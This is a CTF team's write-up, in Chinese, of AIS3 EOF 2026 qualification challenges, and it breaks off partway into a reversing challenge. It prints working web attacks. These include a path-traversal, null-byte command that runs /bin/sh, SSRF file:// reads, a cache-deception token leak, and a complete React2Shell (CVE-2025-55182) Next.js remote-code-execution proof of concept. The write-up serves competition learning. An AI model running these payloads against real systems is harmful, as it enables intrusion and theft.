AIS3 EOF 2026 Qualification Writeup

Team:再不努力，就會成為山羊的食物

Welcome

Solver: Luna

challenge

題目的 discord 連結↗ 會指引加入 AIS3 EOF 伺服器 discord

加入伺服器後看到 資訊 類別下的 welcome 頻道 welcome

根據 CTFdAuthV2#0532 機器人的訊息, 得知要產生一個 token 並驗證

先去 CTFd → 個人檔案 → 訪問令牌生成一個不限時間的 token
交給機器人驗證
取得身分組

得到身分組後, 在 2026-Qual 類別中的 announcement 的頻道主題, 可以看到被遮蔽的說明文字 hover

點開後就是 flag flag

EOF{2026-quals-in-2025}

Web

Bun.PHP

Solver: soar

主要的程式碼邏輯很短，簡單來說就是他會接收你想用 cgi run 起來的檔案，然後去把它跑起來。

1
import { $ } from "bun";
2
import { resolve } from "node:path";
3

4
const server = Bun.serve({
5
    host: "0.0.0.0",
6
    port: 1337,
7
    routes: {
8
        "/": async req => {
9
            return new Response(null, {
10
                status: 302,
11
                headers: { "Location": "/cgi-bin/index.php" },
12
            });
13
        },
14

15
        "/cgi-bin/:filename": async req => {
16
            const filename = req.params.filename;
17
            if (!filename.endsWith(".php")) {
18
                return new Response(`404\n`, {
19
                    status: 404,
20
                    headers: { "Content-Type": "text/plain" },
21
                });
22
            }
23

24
            const scriptPath = resolve("cgi-bin/" + filename);
25
            const body = await req.blob();
26
            const shell = $`${scriptPath} < ${body}`
27
                .env({
28
                    REQUEST_METHOD: req.method,
29
                    QUERY_STRING: new URL(req.url).searchParams.toString(),
30
                    CONTENT_TYPE: req.headers.get("content-type") ?? "",
31
                    CONTENT_LENGTH: body ? String(body.size) : "0",
32
                    SCRIPT_FILENAME: scriptPath,
33
                    GATEWAY_INTERFACE: "CGI/1.1",
34
                    SERVER_PROTOCOL: "HTTP/1.1",
35
                    SERVER_SOFTWARE: "bun-php-server/0.1",
36
                    REDIRECT_STATUS: "200",
37
                })
38
                .nothrow();
39

40
            // PHP-CGI outputs headers + body separated by \r\n\r\n
41
            const output = await shell.text();
42
            const [rawHeaders, ...rest] = output.split("\r\n\r\n");
43
            const headers = new Headers();
44
            for (const line of rawHeaders.split("\r\n")) {
45
                const [k, v] = line.split(/:\s*/, 2);
46
                if (k && v) headers.set(k, v);
47
            }
48

49
            const responseBody = rest.join("\r\n\r\n");
50
            return new Response(responseBody, { headers });
51
        },
52
    }
53
});
54

55
console.log(`listening on http://localhost:${server.port}`);

filename 是我們可以控制的，可以看到這邊很明顯有個 path traveral

1
const scriptPath = resolve("cgi-bin/" + filename);

也就是說我們其實可以任意控制 scriptPath 但是有一個白名單檢查，他會限制你的檔案只能是 .php 結尾，但這邊只要用 null byte 就能繞過了。

1
"/cgi-bin/:filename": async req => {
2
            const filename = req.params.filename;
3
            if (!filename.endsWith(".php")) {
4
                return new Response(`404\n`, {
5
                    status: 404,
6
                    headers: { "Content-Type": "text/plain" },
7
});}

然後下兩行

1
const body = await req.blob();
2
const shell = $`${scriptPath} < ${body}`

會把你的 body 塞到 scriptPath，所以我們其實就可以 ../ 到 /bin/sh 去執行我們的指令，最後組合起來就變這樣（塞個 \r\n\r\n 讓他從 body 打回來）

exploit :

1
curl -v --data-binary $'printf "\\r\\n\\r\\n"; /readflag give me the flag' "https://079a02d40b765778.chal.eof.133773.xyz:20001/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fbin%2Fsh%00.php"
2

3
EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

CookieMonster Viewer

Solver : soar

是個黑箱題！先隨便戳戳看～當我亂給 /api/templates/meow 的時候會報錯誤訊息

Template not found: [WinError 2] The system cannot find the file specified: 'C:\\supersecureyouwillneverguessed\\templates/meow.html'

但目前看起來沒什麼用？但我們這邊還可以知道他是一台 windows！然後來看看 /api/preview 的功能

1
POST /api/preview HTTP/1.1
2
Host: chals2.eof.ais3.org:20918
3
Content-Length: 63
4
Accept-Language: zh-TW,zh;q=0.9
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6
Content-Type: application/json
7
Accept: */*
8
Origin: http://chals2.eof.ais3.org:20918
9
Referer: http://chals2.eof.ais3.org:20918/
10
Accept-Encoding: gzip, deflate, br
11
Connection: keep-alive
12

13
{"url":"http://localhost/api/templates/lake","username":"awda"}

有個 url 參數？看起來很 ssrf！用 file:// 協議讀個 win.ini 看看

1
{"url":"file:///C:/Windows/win.ini","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:48:31 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 127
8
Connection: close
9

10
; for 16-bit app support
11
[fonts]
12
[extensions]
13
[mci extensions]
14
[files]
15
[Mail]
16
MAPI=1
17
[Ports]
18
COM1:=9600,n,8,1
19
COM2:=9600,n,8,1

好耶！那我們可以根據剛剛的路徑來讀原始碼看看！有通到找到 app.py 跟 dockerfile

app.py

1
{"url":"file:///C:/supersecureyouwillneverguessed/app.py","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:50:35 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 1263
8
Connection: close
9

10
from flask import Flask, request, send_from_directory, send_file, render_template_string
11
import subprocess
12
import os
13

14
app = Flask(__name__, static_folder='static')
15

16
def get_os():
17
    import ctypes.wintypes
18
    v = ctypes.windll.kernel32.GetVersion()
19
    return f"Windows {v & 0xFF}.{(v >> 8) & 0xFF}"
20

21
class User:
22
    def __init__(self, name):
23
        self.name = name
24
    def __str__(self):
25
        return self.name
26

27
@app.route('/')
28
def index():
29
    with open('static/index.html', encoding='utf-8') as f:
30
        return render_template_string(f.read(), os_info=get_os())
31

32
@app.route('/api/preview', methods=['POST'])
33
def preview():
34
    data = request.get_json()
35
    url = data.get('url', '')
36
    user = User(data.get('username', 'Guest'))
37

38
    result = subprocess.run([r'.\lib\curl.exe', url], capture_output=True, text=True, encoding='utf-8', errors='replace')
39
    content = result.stdout or result.stderr
40

41
    try:
42
        return content.format(user=user)
43
    except:
44
        return content
45

46
@app.route('/api/templates/<name>')
47
def get_template(name):
48
    try:
49
        return send_file(f'templates/{name}.html')
50
    except Exception as e:
51
        return f'Template not found: {e}', 404
52

53

54
if __name__ == '__main__':
55
    app.run(host='0.0.0.0', port=80)

dockerfile

1
{"url":"file:///C:/supersecureyouwillneverguessed/dockerfile","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:51:12 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 811
8
Connection: close
9

10
FROM python:3.12-windowsservercore-ltsc2022
11

12
WORKDIR /supersecureyouwillneverguessed
13

14
COPY requirements.txt .
15
RUN python -m pip install --no-cache-dir -r requirements.txt
16

17
COPY . .
18

19
# First move the flag (while we have write access)
20
SHELL ["powershell", "-Command"]
21
RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName
22

23
# Then lock down permissions
24
SHELL ["cmd", "/S", "/C"]
25
RUN net user /add appuser && \
26
    attrib +R C:\supersecureyouwillneverguessed\*.* /S && \
27
    icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T && \
28
    icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)
29

30
USER appuser
31
CMD ["python", "app.py"]

我們基本上可以得知要 rce 才能取得 flag 了！然後 python 裏又有一個 format string 的漏洞在 content.format(user=user)，另外我又想到這台竟然是 windows 應該會有 worstfit 的問題！接著… 接著我就不會串了，雖然賽中有想到這兩個漏洞但我沒有想到要怎麼把它們結合在一起，最後是去讀 C:\ 的 index allocation 然後 flag 檔名就跑出來了，超酷！

1
{"url":"file:///C:/:$I30:$INDEX_ALLOCATION","username":"awda"}
2

3
HTTP/1.1 200 OK
4
Server: Werkzeug/3.1.4 Python/3.12.10
5
Date: Wed, 24 Dec 2025 13:55:56 GMT
6
Content-Type: text/html; charset=utf-8
7
Content-Length: 247
8
Connection: close
9

10
Boot
11
bootmgr
12
BOOTNXT
13
Documents and Settings
14
DumpStack.log.tmp
15
flag-sNfLDScBvoFbxYMQ.txt
16
inetpub
17
License.txt
18
Program Files
19
Program Files (x86)
20
ProgramData
21
Python
22
supersecureyouwillneverguessed
23
System Volume Information
24
Users
25
WcSandboxState
26
Windows

最後去讀 flag

1
POST /api/preview HTTP/1.1
2
Host: chals2.eof.ais3.org:20918
3
Content-Length: 64
4
Accept-Language: zh-TW,zh;q=0.9
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6
Content-Type: application/json
7
Accept: */*
8
Origin: http://chals2.eof.ais3.org:20918
9
Referer: http://chals2.eof.ais3.org:20918/
10
Accept-Encoding: gzip, deflate, br
11
Connection: keep-alive
12

13
{"url":"file:///C:/flag-sNfLDScBvoFbxYMQ.txt","username":"awda"}
14

15
HTTP/1.1 200 OK
16
Server: Werkzeug/3.1.4 Python/3.12.10
17
Date: Wed, 24 Dec 2025 13:56:30 GMT
18
Content-Type: text/html; charset=utf-8
19
Content-Length: 47
20
Connection: close
21

22
EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

我會想辦法補預期解回來的 ><

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

LinkoReco

Solver: soar

又雙叒叕是黑箱題（灰箱） ~~於是我決定等提示出來才解這題~~

Hint1.

1
Kurumi 手滑了不小心掉出了這份使用指南
2

3
1. Token 只有在使用者從 local 造訪的時候會顯示
4
2. 這個服務沒有正確 Token 傳入的時候不會回顯內容，只會告訴你 status code，所以有 token 會更方便使用系統
5
3. 眼睛睜大一點，你會發現伺服器其實有在記得一些東西，而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了，/static 的靜態檔案應該要被存到的，但是他們直接走 nginx 跑掉了
6
4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm service

Hint2.

1
map $request_uri $is_static {
2
    default 0;
3
    "~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;
4
}

然後會有一個 web 頁面讓你去戳其他的網站，但沒有給 token 的話是只看得到 status code 的。然後根據提示一，我們可以知道 token 要從 local 訪問才會顯示。 ~~然後提示二直接把打的方法告訴你了~~，可以看到 nginx 會對 /static 開頭以及特定附檔名進行快取，這時候我們拿一個 payload 讓這個 web 頁面去戳，然後我們再趕快去一次同樣的網址就可以看到 token 了！

在 web 送

1
http://web/static/%2e%2e%2findex.php/meow.css

terminal 趕快去訪問一次

1
curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is
2

3
...
4
    textarea {min-height:100px; resize:vertical;}
5
    .col {flex:1 1 300px; min-width:220px;}
6
    .actions {text-align:right; margin-top:8px;}
7
    button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;}
8
    .small-muted {font-size:12px;color:#666;margin-top:6px}
9
    .logo {max-width:120px; display:block; margin-bottom:12px;}
10
  </style>
11
</head>
12
<body>
13
  <div class="container">
14
    <h1>接続テスト</h1>
15
    <div class="subtitle">あなたのトークン: 200_OK_FROM_WA1NU7</div> <!--- full access token display, local only --->
16
    <form method="post">
17
      <div class="row">
18
        <div class="col">
19
          <label for="url">URL</label>
20
          <input type="text" id="url" name="url" placeholder="https://example.com">
21
        </div>
22
      </div>
23
      <div class="row">
24
        <div class="col">
25
...

拿到 token 後我們去 fetch 的東西就會有回傳文字了！題目其實還有給一個 docker-compose.yml

1
version: '3'
2
services:
3
  web:
4
    image: nginx:latest
5
    ports:
6
      - "19080:80"
7
    volumes:
8
      - ./conf/default.conf:/etc/nginx/conf.d/default.conf
9
      - ./src:/var/www/html
10
    depends_on:
11
      - php
12

13
  php:
14
    image: php:7.4-fpm
15
    volumes:
16
      - ./src:/var/www/html
17
      - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.
18

19
# static files should be well handled, but seems like only fpm serves it?

可以得知 flag 是被掛載在 /etc 底下，但我們不知道檔名。這時候一樣可以用 file:// 協議去讀一個檔案 /proc/self/mounts 他會記錄掛載的一些資訊。

1
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YFEXIRUO7Z4OCGQ5KL3WBOLW2A:/var/lib/docker/overlay2/l/XMKYSFOCJX2HFFGV5IWGSFNKNC:/var/lib/docker/overlay2/l/4UZP7SBGXDTFA5UEMMG2OXANJP:/var/lib/docker/overlay2/l/347ZPM3G26K5EFJKDYHUGZDECI:/var/lib/docker/overlay2/l/ZZLPILUDBPWY32C4UIIAF5R7IT:/var/lib/docker/overlay2/l/6W5E5MN7QKH4BHD4X7LZWC6HOI:/var/lib/docker/overlay2/l/YTSBFV7H3YYUBB7YS5EUSOWFJC:/var/lib/docker/overlay2/l/WICBG4ZBSBV7CT45DJAMGHSHLP:/var/lib/docker/overlay2/l/MJIHWQJHN5L5P6O4SMXNTOLZ7O:/var/lib/docker/overlay2/l/FKZ7U5ZEDQ4X3KYIKQHJ5HBOV6:/var/lib/docker/overlay2/l/QY3ZKXBKXVEPWDAASFA5C3Z6RN,upperdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/diff,workdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/work 0 0
2
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
3
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
4
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
5
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
6
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
7
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
8
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
9
/dev/sda1 /etc/ca7_f113.txt ext4 rw,relatime,discard,errors=remount-ro 0 0
10
/dev/sda1 /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
11
/dev/sda1 /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
12
/dev/sda1 /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
13
/dev/sda1 /var/www/html ext4 rw,relatime,discard,errors=remount-ro 0 0
14
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
15
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
16
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
17
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
18
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
19
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
20
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
21
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
22
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
23
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0

看到 /etc/ca7_f113.txt 這個檔案，去把它讀出來就好！

EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}

EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}

以大方空頭來啦！ :drop_of_blood:

Solver: soar

要逆一下前端，但這部分我成為 AI 的奴隸了，我請他幫我逆向 XD

在 page-a5d5f48bdef4decb.js 中，用了 function s(t,e){return t-=138,f()[t]} 這樣的函式來取得字串。

然後他幫我寫出了一個 decode.js

1
function p(){let t=["YW5jZ","ZAS0A",...,"的信仰不足","m:px-"];return(p=function(){return t})()}
2
!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);
3

4
function I(t,e){return t-=336,p()[t]}
5

6
const T = I;
7

8
console.log("T(1026):", T(1026));
9
console.log("T(1298):", T(1298));
10
console.log("T(912):", T(912));
11
console.log("B:", T(1267) + T(1399) + T(1138) + T(469) + T(611));
12

13
// Print all strings to find potential Action IDs
14
const fs = require('fs');
15
let output = "";
16
for (let i = 336; i < 336 + p().length; i++) {
17
    try {
18
        let val = I(i);
19
        output += i + ": " + val + "\n";
20
    } catch (e) {}
21
}
22
fs.writeFileSync('strings.txt', output);
23
console.log("Strings written to strings.txt");

執行過後

1
soar@universe-3 EOF % node ./decode.js
2
T(1026): /api/
3
T(1298): claim
4
T(912): POST
5
B: https://rpc.chainpipes.uk
6
Strings written to strings.txt

連進去過後他說偵測到駭客，並且是用 middleware rewrite 的方式寫到 /error 但 /api 的部分都能正常使用，但好像是假的，隨便 fuzz /api/target 跟 /api/claim 好像都蠻正常的。

觀察一下他的 header

1
curl https://rpc.chainpipes.uk/ -I
2
HTTP/2 500
3
date: Wed, 24 Dec 2025 14:24:41 GMT
4
content-type: text/html; charset=utf-8
5
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
6
x-middleware-rewrite: /error
7
cf-cache-status: DYNAMIC
8
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xs%2FBBN7BCq%2FPzkWxRIEB3IKRfn5l%2FaPot8y5lsYIoHsvX5lDKQJL4xFLmyUTgCx068NXqVTJZ%2F8DQMpGJ5MtkSjzGJMTGz0YezZOp2vbqQ%3D%3D"}]}
9
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
10
server: cloudflare
11
cf-ray: 9b30c37a3946a9bb-TPE
12
alt-svc: h3=":443"; ma=86400

看到有 next.js 我就想到最近很猛的漏洞 React2Shell (CVE-2025-55182) 去網路隨便載了一個 poc 來用之後。

poc.py

1
# /// script
2
# dependencies = ["requests"]
3
# ///
4
import requests
5
import sys
6
import json
7

8
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
9
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
10

11
crafted_chunk = {
12
    "then": "$1:__proto__:then",
13
    "status": "resolved_model",
14
    "reason": -1,
15
    "value": '{"then": "$B0"}',
16
    "_response": {
17
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
18
        # If you don't need the command output, you can use this line instead:
19
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
20
        "_formData": {
21
            "get": "$1:constructor:constructor",
22
        },
23
    },
24
}
25

26
files = {
27
    "0": (None, json.dumps(crafted_chunk)),
28
    "1": (None, '"$@0"'),
29
}
30

31
headers = {"Next-Action": "x"}
32
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
33
print(res.status_code)
34
print(res.text)

1
python3 poc.py https://rpc.chainpipes.uk/ "id"
2

3
">
4
  (這個是假的 Cloudflare 頁面<br>純粹是不知道偵測到駭客後要放什麼<br>所以放了這個)
5
</h1>
6
<div id="cf-wrapper">
7
    <div id="cf-error-details" class="p-0">
8
        <header class="mx-auto pt-10 lg:pt-6 lg:px-8 w-240 lg:w-full mb-8">
9
            <h1 class="inline-block sm:block sm:mb-2 font-light text-60 lg:text-4xl text-black-dark leading-tight mr-2">
10
                <span class="inline-block">Internal server error</span>
11
                <span class="code-label">Error code 500</span>
12
            </h1>
13
            <div>

誒？！還是被擋了？然後我當初就卡在這邊繞那個檢查，完全忘記 /api 沒被擋這件事，直到 hint 給出 middleware 的實作我才想起來。

1
python3 poc.py https://rpc.chainpipes.uk/api "id"
2
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
3
  warnings.warn(
4
500
5
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
6
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

好耶！接著讀 flag 就好了

1
python3 poc.py https://rpc.chainpipes.uk/api "cat /flag"
2
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
3
  warnings.warn(
4
500
5
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
6
1:E{"digest":"EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}"}

這題因為當初卡最後一個地方，所以提示一出來很快拿到首殺 ><

EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}

Reverse

bored

Solver : 此情吳計可消除

signal.vcd：只有一條 UART.data 的波形變化（0/1）。
firmware.bin：裸機 firmware，內含字串 Input:、Output:，以及一段固定長度的加密資料。

UART 典型 8N1：

Idle：1
Start bit：0
Data bits：8 bits（LSB first）
Stop bit：1

從 VCD 的 timestamp 差值可以看出最小步長接近 104166 ns

T_b \approx 104166\ \text{ns},\quad baud \approx \frac{1}{T_b} \approx 9600

對於一個 frame，若 start bit 起點時間為 (t_0)，則第 (i) 個 data bit（(i=0..7)）

t_{\text{sample}}(i)=t_0+(1.5+i)\cdot T_b

1
bit = 104166
2
sample_t = t0 + int((1.5 + i) * bit)
3
bit_i = value_at(sample_t)

因為 LSB first，所以 byte 組成：

\text{byte}=\sum_{i=0}^{7} bit_i\cdot 2^i

1
b = 0
2
for i in range(8):
3
    bit_i = value_at(t0 + int((1.5 + i) * bit))
4
    b |= (bit_i & 1) << i
5
out.append(b)

把每個 frame 解出來後得到字串：

key = b4r3MEt41

在 firmware.bin 會看到典型 RC4 特徵：

初始化長度 256 的陣列 $(S)$
兩個 index $(i,j$ )
256 次迴圈 swap
之後每 byte 都做 swap 並用 $(S[(S[i]+S[j])\bmod 256])$ 當 keystream

S[i]=i,\quad j=0

KSA：

j=(j+S[i]+K[i\bmod |K|])\bmod 256,\quad \text{swap}(S[i],S[j])

1
S = list(range(256))
2
j = 0
3
for i in range(256):
4
    j = (j + S[i] + key[i % len(key)]) & 0xff
5
    S[i], S[j] = S[j], S[i]

PRGA：

i=(i+1)\bmod 256

j=(j+S[i])\bmod 256

\text{swap}(S[i],S[j])

KS = S[(S[i]+S[j])\bmod 256]

1
i = 0
2
j = 0
3
for c in data:
4
    i = (i + 1) & 0xff
5
    j = (j + S[i]) & 0xff
6
    S[i], S[j] = S[j], S[i]
7
    ks = S[(S[i] + S[j]) & 0xff]

RC4 是 stream cipher，因此：

P_n=C_n\oplus KS_n

1
out.append(c ^ ks)

firmware.bin 內有 Input: 這個字串。題目把 ciphertext 放在它前面一小段固定區塊

在 firmware 內搜尋 b"Input: " 取它前面一段固定長度當 ciphertext

1
blob = Path("firmware.bin").read_bytes()
2

3
off_input = blob.find(b"Input: ")
4
assert off_input != -1
5

6
cipher_len = 0x1E
7
cipher_off = off_input - 0x20
8
cipher = blob[cipher_off:cipher_off + cipher_len]

solve.py

1
from pathlib import Path
2
import bisect
3

4
BIT_DEFAULT = 104166
5

6
def parse_vcd_uart_bytes(vcd_path: str) -> bytes:
7
    lines = Path(vcd_path).read_text().splitlines()
8

9
    changes = []
10
    t = 0
11
    for line in lines:
12
        line = line.strip()
13
        if not line:
14
            continue
15
        if line.startswith("#"):
16
            t = int(line[1:])
17
        elif line.endswith("d") and line[0] in "01":
18
            changes.append((t, int(line[0])))
19

20
    clean = []
21
    last_v = None
22
    for tt, vv in changes:
23
        if last_v is None or vv != last_v:
24
            clean.append((tt, vv))
25
            last_v = vv
26

27
    if not clean:
28
        return b""
29

30
    times = [tt for tt, _ in clean]
31
    vals  = [vv for _, vv in clean]
32

33
    def value_at(x: int) -> int:
34
        i = bisect.bisect_right(times, x) - 1
35
        return vals[i] if i >= 0 else 1  # idle high
36

37

38
    bit = BIT_DEFAULT
39

40
    end_time = clean[-1][0] + bit * 20
41
    starts = []
42
    tt = 0
43
    while tt < end_time:
44
        mid  = value_at(tt + bit // 2)
45
        prev = value_at(tt - bit // 2) if tt >= bit else 1
46
        if prev == 1 and mid == 0:
47
            stop = value_at(tt + int(9.5 * bit))
48
            if stop == 1:
49
                starts.append(tt)
50
                tt += 10 * bit
51
                continue
52
        tt += bit
53

54
    out = []
55
    for s in starts:
56
        b = 0
57
        for i in range(8):
58
            bit_i = value_at(s + int((1.5 + i) * bit))
59
            b |= (bit_i & 1) << i
60
        out.append(b)
61

62
    return bytes(out)
63

64
def rc4(key: bytes, data: bytes) -> bytes:
65
    S = list(range(256))
66
    j = 0
67
    for i in range(256):
68
        j = (j + S[i] + key[i % len(key)]) & 0xff
69
        S[i], S[j] = S[j], S[i]
70

71
    i = 0
72
    j = 0
73
    out = bytearray()
74
    for c in data:
75
        i = (i + 1) & 0xff
76
        j = (j + S[i]) & 0xff
77
        S[i], S[j] = S[j], S[i]
78
        ks = S[(S[i] + S[j]) & 0xff]
79
        out.append(c ^ ks)
80
    return bytes(out)
81

82
def main():
83
    key = parse_vcd_uart_bytes("signal.vcd")
84
    blob = Path("firmware.bin").read_bytes()
85

86
    off_input = blob.find(b"Input: ")
87

88

89
    cipher_len = 0x1E  # 30 bytes
90
    cipher_off = off_input - 0x20
91
    cipher = blob[cipher_off:cipher_off + cipher_len]
92

93
    pt = rc4(key, cipher)
94

95
    print("key =", key.decode(errors="replace"))
96
    print("flag =", pt.decode(errors="replace"))
97

98
if __name__ == "__main__":
99
    main()

1
[15:46:54] ~/Downloads/dist-bored-cd3d9744e4e7b6884b91a6571654a7fe16f51d99 ➜ python3 solve.py
2
[+] key from VCD: b4r3MEt41
3
[+] flag: EOF{ExP3d14i0N_33_15_4he_G0AT}

Impure

Solver: 貓貓

1
Someone polluted our private fork of python...

下載檔案後解壓縮會有bin、lib資料夾，得知

Python 版本：Python 3.15.0a2+
Commit：bef63d2fb81

根據題目可以知道這是被汙染過的python，所以猜測要去利用diff找出不同用作者的名稱去查，可以看到這些應該是cpython編譯後的東西而且有看到libpython3.15.a這個檔案，為cpython的靜態函式庫所以就先去載原本的cpython下來和編譯

1
git clone https://github.com/python/cpython
2
cd cpython
3
git checkout bef63d2fb81

1
./configure --disable-shared
2
make -j

就一樣得到了原始的libpython3.15.a，利用strings之後的結果做對比

1
strings official/libpython3.15.a > official.txt
2
strings challenge/libpython3.15.a > chall.txt
3
diff -u official.txt chall.txt > diff_output.txt

發現額外多了以下

1
flag_len
2
flag_status
3
flag_obj
4
flag_buf

再用指令找出這些字串在哪個.o檔

1
ar t challenge/libpython3.15.a | while read o; do   ar p
2
challenge/libpython3.15.a "$o" | strings -a | grep -qxE
3
'flag_(len|status|obj|buf)' && echo "$o"; done

得知為listobject.o 就把listobject.o抽出來丟到ida和配合組語來看

1
ar x challenge/libpython3.15.a listobject.o
2
objdump -drwC listobject.o > listobj_output.txt

發現相比原版的多了list_poorcompare 用法為list_poorcompare(PyListObject *self, PyObject *iterable) function會做流程會是

將 iterable 轉成 sequence（PySequence_Fast）
強制檢查 iterable 長度必須為 24
將 iterable 的 24 個元素逐一 PyLong_AsLong
與 .rodata+0x2c 的 24 bytes 做比對
若完全一致：
- 從 .rodata+0x4c 取 24 bytes
- 每個 byte XOR 0xC4
- 組成字串並寫入 list

所以把.rodata抽出來另存為bin

1
objcopy --only-section=.rodata -O binary listobject.o rodata.bin

之後解碼成功得到flag

1
import pathlib
2

3
b = pathlib.Path("rodata.bin").read_bytes()
4

5
key = b[0x2c:0x2c+0x18]
6
enc = b[0x4c:0x4c+0x60]   # 一次多抓 0x60 bytes
7
dec = bytes(x ^ 0xC4 for x in enc)
8

9
print("key:", list(key))
10
print("dec:", dec)

EOF{_B4CkD0oR3d_CpYT70N}

Structured - Small

Solver: Luna

challenge

解壓縮後, 會出現 10 個相同大小的檔案 file

從第 0 個檔案(small-flag_0) 開始逆向其中, main 函數的內容是

1
_BOOL8 __fastcall main(int a1, char **a2, char **a3)
2
{
3
  _BOOL8 result; // rax
4
  char *v4; // rdx
5
  __int64 v5; // rcx
6
  char *v6; // rsi
7
  __int64 v7; // rax
8

9
  result = 1;
10
  if ( a1 > 1 )
11
  {
12
    v4 = a2[1];
13
    v5 = 0;
14
    v6 = v4 + 8;
15
    do
16
    {
17
      v7 = (unsigned __int8)*v4;
18
      if ( !(_BYTE)v7 )
19
        break;
20
      ++v4;
21
      v5 = v7 | (v5 << 8);
22
    }
23
    while ( v4 != v6 );
24
    return v5 != 0x74686520666C6167LL;
25
  }
26
  return result;
27
}

